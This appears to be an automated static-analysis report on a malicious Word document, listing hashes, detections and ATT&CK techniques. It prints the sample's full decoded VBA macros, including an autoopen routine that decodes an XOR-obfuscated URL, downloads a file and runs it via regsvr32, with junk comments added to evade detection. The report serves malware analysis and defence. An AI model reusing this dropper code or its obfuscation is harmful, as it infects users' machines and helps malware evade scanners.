Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 2f2404eaa1762c92…

MALICIOUS

Office (OOXML)

115.7 KB Created: 2020-07-23 08:54:00 UTC Authoring application: Microsoft Office Word 16.0000 First seen: 2020-09-07
MD5: 87e3a3829c723650bea2110ea75a43cd SHA-1: 9fe60dff8e1f9537edd9bf92cde0464c4beac81c SHA-256: 2f2404eaa1762c92ea08665e31ef57d6118f4e7572a0208bb102fa65c645cf95
150 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File T1105 Ingress Tool Transfer

The sample is a malicious Office document containing VBA macros. The 'autoopen' macro is configured to execute a function that downloads a file named 'Ub.pdf' from an obfuscated URL and then runs it using 'Shell'. This indicates a downloader or droppper functionality.

Heuristics 5

  • ClamAV: Doc.Downloader.GreenBox5-9139204-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.GreenBox5-9139204-0
  • VBA project inside OOXML medium 2 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • URLDownloadToFile in VBA critical OLE_VBA_DOWNLOAD
    URLDownloadToFile in VBA
    Matched line in script
    #If VBA7 And Win64 Then
Public Declare PtrSafe Function URLDownloadToFile Lib "urlmon" Alias "URLDownloadToFileA" (ByVal PE As LongPtr, ByVal d5 As String, ByVal kE As String, ByVal oY As LongPtr, ByVal dY As LongPtr) As Long
#Else
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    End Function
Sub autoopen()
Gf = i(c4)
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas Referenced by macro
    • http://schemas.microsoft.com/office/drawing/2014/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2015/9/8/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2015/10/21/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2016/5/9/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2016/5/10/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2016/5/11/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2016/5/12/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2016/5/13/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2016/5/14/chartexReferenced by macro
    • http://schemas.openxmlformats.org/markup-compatibility/2006Referenced by macro
    • http://schemas.microsoft.com/office/drawing/2016/inkReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2017/model3dReferenced by macro
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsReferenced by macro
    • http://schemas.openxmlformats.org/officeDocument/2006/mathReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingReferenced by macro
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingReferenced by macro
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordmlReferenced by macro
    • http://schemas.microsoft.com/office/word/2012/wordmlReferenced by macro
    • http://schemas.microsoft.com/office/word/2018/wordml/cexReferenced by macro
    • http://schemas.microsoft.com/office/word/2016/wordml/cidReferenced by macro
    • http://schemas.microsoft.com/office/word/2018/wordmlReferenced by macro
    • http://schemas.microsoft.com/office/word/2015/wordml/symexReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkReferenced by macro
    • http://schemas.microsoft.com/office/word/2006/wordmlReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeReferenced by macro

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 3931 bytes
SHA-256: ad3b05c3235798cb04a397d65e0645c403b585efdaa19dd275c947b8610c87ef
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "Sw"
Public Const D As String = "Ub.pdf"
Function i(ep)
lz = hF(ep)
For ha = 0 To UBound(lz)
 op = op & Chr(lz(ha) Xor 1)
Next ha
i = op
End Function
Function hF(ep)
hF = Split(ep, " ")
End Function
Sub autoopen()
Gf = i(c4)

' Adage heads grid gif
' Saline might selective inoffensive
' Riding rowdy prague treacle
frm.download Gf, D

' Keyword last bracelet ht reinstate
' River known thumbs metamorphosis grafting wry counsel aurora
' Bill
' Alien slogan rectify longitude tracked
' Deplore spry healthy

' Patches coated
' Cope carlo probity smithsonian

' Thickness bayonet
' Exhale drilling events crossing geo

' Lightning gotta

' Statistical
' Invision turns cherokee joke trails
' Put effects arabia
Dim jg As New WshShell

' Shingles carmine carpet
' Fell density greenhouse
' Gordon profitless
Call jg.run(hn & m & "32 " + D)
End Sub

Attribute VB_Name = "Sw1"
Sub E8()

' Geek elevator characterization zoom
' Lance mom proud maintained rhubarb
' Charged retaliate prelate serum
' Guide womens pill iced bp idiotic miser
' Point priority literacy

' Scarecrow
' Caribbean reinforce carmen
' Rally

' Blue
' Verification
' Lullaby detest
' Chef lb nimbus lice

' Eggs blasted asn
' Passageway alsatian labour happened ail swimmer
' Developing executed primeval ill. snarl
' Dictatorial congratulation

' Prevention footstool
' Reflect counting swagger
' Ul hittite abounded environmental

' Occasional stitch soulless lp
' -form tobago
' Combustion armstrong shaped zones
' Islet beau
' Po extract forefront

' Bottles spilt unsympathetic
' Likely buffet bestiality holster centuries
' Submissive cranium triumph
' Mermaid buttoned cant patients shorten

' Vascular contest taxi desultory whaling twenty-eighth overhung
' Dial pigment
' Bunk chicken panties
' Identifier
' Levy definition mildew betake

' Styx vault
' Dais strengths
' Composition nothing overrun truncheon cambridge

' Jeans bellingham
' Copyrighted teen
' Massage statuary

' Act. creatures began
' Insurmountable ana gnarled

' Heifer cashed ranges
' Interpretation ext signatures chaos
' Scholars imperceptible choose failures fiber
' Daughters
End Sub

Attribute VB_Name = "MR"
Public Const hn As String = "reg"
Public Const m As String = "svr"
Public Const c4 As String = "105 117 117 113 59 46 46 115 100 101 103 98 113 104 47 98 110 108 46 121 100 108 98 109 46 104 99 96 47 113 105 113 62 109 60 116 111 117 57 47 98 96 99 33"
#If VBA7 And Win64 Then
Public Declare PtrSafe Function URLDownloadToFile Lib "urlmon" Alias "URLDownloadToFileA" (ByVal PE As LongPtr, ByVal d5 As String, ByVal kE As String, ByVal oY As LongPtr, ByVal dY As LongPtr) As Long
#Else
Public Declare Function URLDownloadToFile Lib "urlmon" Alias "URLDownloadToFileA"(ByVal PE As Long, ByVal d5 As String, ByVal kE As String, ByVal oY As Long, ByVal dY As Long) As Long
#End If
Function zL()

' Praiseworthy bronchitis householder
' Preventive treasury
' Lm duplicate susanna require
' Searching silver galore disputes avon
' Jubilee archipelago froze miniature

' Liz tremendous bulkhead bringing motorola
End Function

Attribute VB_Name = "frm"
Attribute VB_Base = "0{7ABAF74B-4FF3-419C-84D8-083D7846976D}{5C15D6F7-8320-4A19-AA01-621BDBF67B91}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Public Sub download(url, file)
    URLDownloadToFile 0, url, file, 0, 0
End Sub
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 28160 bytes
SHA-256: 83004e9ef3364bd5584a0e6dbfc875e2b5f7a80664585bb06faf964bb6dee173

Open this report in the interactive analyzer, or submit your own file for analysis.